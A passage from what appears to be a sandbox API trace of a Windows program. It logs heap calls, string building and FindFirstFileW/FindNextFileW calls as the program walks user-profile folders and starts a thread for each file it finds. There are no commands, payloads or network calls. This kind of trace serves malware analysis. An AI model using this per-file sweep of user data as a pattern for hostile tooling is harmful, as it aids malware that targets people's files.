cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4303a0) returned 1 [0047.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0047.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 Thread: id = 204 os_tid = 0x15c [0046.322] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x40a3a8 [0046.322] wcscpy (in: _Dest=0x40a3a8, _Source="C:\\Users\\Default\\NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0046.322] wcscat (in: _Dest=0x40a3a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0046.322] wcscat (in: _Dest=0x40a3a8, _Source="*" | out: _Dest="C:\\Users\\Default\\NetHood\\*") returned="C:\\Users\\Default\\NetHood\\*" [0046.322] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430608 [0046.322] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430608) returned 1 [0047.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a3a8) returned 1 [0047.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409de8) returned 1 Thread: id = 205 os_tid = 0x33c [0046.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x40a3e8 [0046.323] wcscpy (in: _Dest=0x40a3e8, _Source="C:\\Users\\Default\\Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0046.323] wcscat (in: _Dest=0x40a3e8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0046.323] wcscat (in: _Dest=0x40a3e8, _Source="*" | out: _Dest="C:\\Users\\Default\\Pictures\\*") returned="C:\\Users\\Default\\Pictures\\*" [0046.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430870 [0046.323] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ca8 [0048.532] wcscmp (_String1=".", _String2=".") returned 0 [0048.532] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.532] wcscmp (_String1="..", _String2=".") returned 1 [0048.532] wcscmp (_String1="..", _String2="..") returned 0 [0048.532] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.532] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.532] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.532] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0048.532] FindClose (in: hFindFile=0x409ca8 | out: hFindFile=0x409ca8) returned 1 [0048.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430870) returned 1 [0048.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a3e8) returned 1 [0048.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409e28) returned 1 Thread: id = 206 os_tid = 0x7b4 [0046.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402a38 [0046.323] wcscpy (in: _Dest=0x402a38, _Source="C:\\Users\\Default\\PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0046.323] wcscat (in: _Dest=0x402a38, _Source="\\" | out: _Dest="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0046.323] wcscat (in: _Dest=0x402a38, _Source="*" | out: _Dest="C:\\Users\\Default\\PrintHood\\*") returned="C:\\Users\\Default\\PrintHood\\*" [0046.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430ad8 [0046.323] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430ad8) returned 1 [0047.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0047.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409e68) returned 1 Thread: id = 207 os_tid = 0x8a8 [0046.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x40a428 [0046.323] wcscpy (in: _Dest=0x40a428, _Source="C:\\Users\\Default\\Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0046.324] wcscat (in: _Dest=0x40a428, _Source="\\" | out: _Dest="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0046.324] wcscat (in: _Dest=0x40a428, _Source="*" | out: _Dest="C:\\Users\\Default\\Recent\\*") returned="C:\\Users\\Default\\Recent\\*" [0046.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430d40 [0046.324] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430d40) returned 1 [0047.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a428) returned 1 [0047.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aad8) returned 1 Thread: id = 208 os_tid = 0x8d0 [0046.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402a80 [0046.324] wcscpy (in: _Dest=0x402a80, _Source="C:\\Users\\Default\\Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0046.324] wcscat (in: _Dest=0x402a80, _Source="\\" | out: _Dest="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0046.324] wcscat (in: _Dest=0x402a80, _Source="*" | out: _Dest="C:\\Users\\Default\\Saved Games\\*") returned="C:\\Users\\Default\\Saved Games\\*" [0046.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430fa8 [0046.324] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440320 [0048.525] wcscmp (_String1=".", _String2=".") returned 0 [0048.525] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.525] wcscmp (_String1="..", _String2=".") returned 1 [0048.525] wcscmp (_String1="..", _String2="..") returned 0 [0048.525] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.525] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.525] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.525] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0048.525] FindClose (in: hFindFile=0x440320 | out: hFindFile=0x440320) returned 1 [0048.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430fa8) returned 1 [0048.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0048.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 Thread: id = 209 os_tid = 0x8d4 [0046.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x40a468 [0046.331] wcscpy (in: _Dest=0x40a468, _Source="C:\\Users\\Default\\Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0046.331] wcscat (in: _Dest=0x40a468, _Source="\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0046.331] wcscat (in: _Dest=0x40a468, _Source="*" | out: _Dest="C:\\Users\\Default\\Searches\\*") returned="C:\\Users\\Default\\Searches\\*" [0046.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431210 [0046.331] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440aa0 [0048.769] wcscmp (_String1=".", _String2=".") returned 0 [0048.769] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.769] wcscmp (_String1="..", _String2=".") returned 1 [0048.769] wcscmp (_String1="..", _String2="..") returned 0 [0048.769] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.770] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.770] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.770] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0048.770] wcscmp (_String1="Everywhere.search-ms", _String2=".") returned 1 [0048.770] wcscmp (_String1="Everywhere.search-ms", _String2="..") returned 1 [0048.770] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x446188 [0048.770] wcscpy (in: _Dest=0x446188, _Source="C:\\Users\\Default\\Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0048.770] wcscat (in: _Dest=0x446188, _Source="\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0048.770] wcscat (in: _Dest=0x446188, _Source="Everywhere.search-ms" | out: _Dest="C:\\Users\\Default\\Searches\\Everywhere.search-ms") returned="C:\\Users\\Default\\Searches\\Everywhere.search-ms" [0049.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0049.515] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0049.515] wcscmp (_String1="Indexed Locations.search-ms", _String2=".") returned 1 [0049.515] wcscmp (_String1="Indexed Locations.search-ms", _String2="..") returned 1 [0049.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43b438 [0049.515] wcscpy (in: _Dest=0x43b438, _Source="C:\\Users\\Default\\Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0049.515] wcscat (in: _Dest=0x43b438, _Source="\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0049.515] wcscat (in: _Dest=0x43b438, _Source="Indexed Locations.search-ms" | out: _Dest="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" [0049.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc [0049.517] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0049.517] FindClose (in: hFindFile=0x440aa0 | out: hFindFile=0x440aa0) returned 1 [0049.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431210) returned 1 [0049.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a468) returned 1 [0049.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ea8) returned 1 Thread: id = 210 os_tid = 0x8fc [0046.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x40a4a8 [0046.331] wcscpy (in: _Dest=0x40a4a8, _Source="C:\\Users\\Default\\SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0046.331] wcscat (in: _Dest=0x40a4a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0046.331] wcscat (in: _Dest=0x40a4a8, _Source="*" | out: _Dest="C:\\Users\\Default\\SendTo\\*") returned="C:\\Users\\Default\\SendTo\\*" [0046.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431478 [0046.331] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431478) returned 1 [0047.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a4a8) returned 1 [0047.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab10) returned 1 Thread: id = 211 os_tid = 0x910 [0046.332] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402ac8 [0046.332] wcscpy (in: _Dest=0x402ac8, _Source="C:\\Users\\Default\\Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0046.332] wcscat (in: _Dest=0x402ac8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0046.332] wcscat (in: _Dest=0x402ac8, _Source="*" | out: _Dest="C:\\Users\\Default\\Start Menu\\*") returned="C:\\Users\\Default\\Start Menu\\*" [0046.332] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x457fb8 [0046.335] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x457fb8 | out: lpFindFileData=0x457fb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x457fb8) returned 1 [0047.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0047.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ee8) returned 1 Thread: id = 212 os_tid = 0x89c [0046.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402b10 [0046.335] wcscpy (in: _Dest=0x402b10, _Source="C:\\Users\\Default\\Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0046.335] wcscat (in: _Dest=0x402b10, _Source="\\" | out: _Dest="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0046.335] wcscat (in: _Dest=0x402b10, _Source="*" | out: _Dest="C:\\Users\\Default\\Templates\\*") returned="C:\\Users\\Default\\Templates\\*" [0046.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458220 [0046.335] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458220) returned 1 [0048.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0048.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409f28) returned 1 Thread: id = 213 os_tid = 0x888 [0046.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x4400a0 [0046.336] wcscpy (in: _Dest=0x4400a0, _Source="C:\\Users\\Default\\Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0046.336] wcscat (in: _Dest=0x4400a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0046.336] wcscat (in: _Dest=0x4400a0, _Source="*" | out: _Dest="C:\\Users\\Default\\Videos\\*") returned="C:\\Users\\Default\\Videos\\*" [0046.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458488 [0046.336] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ee8 [0047.127] wcscmp (_String1=".", _String2=".") returned 0 [0047.127] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.127] wcscmp (_String1="..", _String2=".") returned 1 [0047.127] wcscmp (_String1="..", _String2="..") returned 0 [0047.127] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0047.127] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0047.127] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0047.127] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0047.127] FindClose (in: hFindFile=0x409ee8 | out: hFindFile=0x409ee8) returned 1 [0047.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458488) returned 1 [0047.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4400a0) returned 1 [0047.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 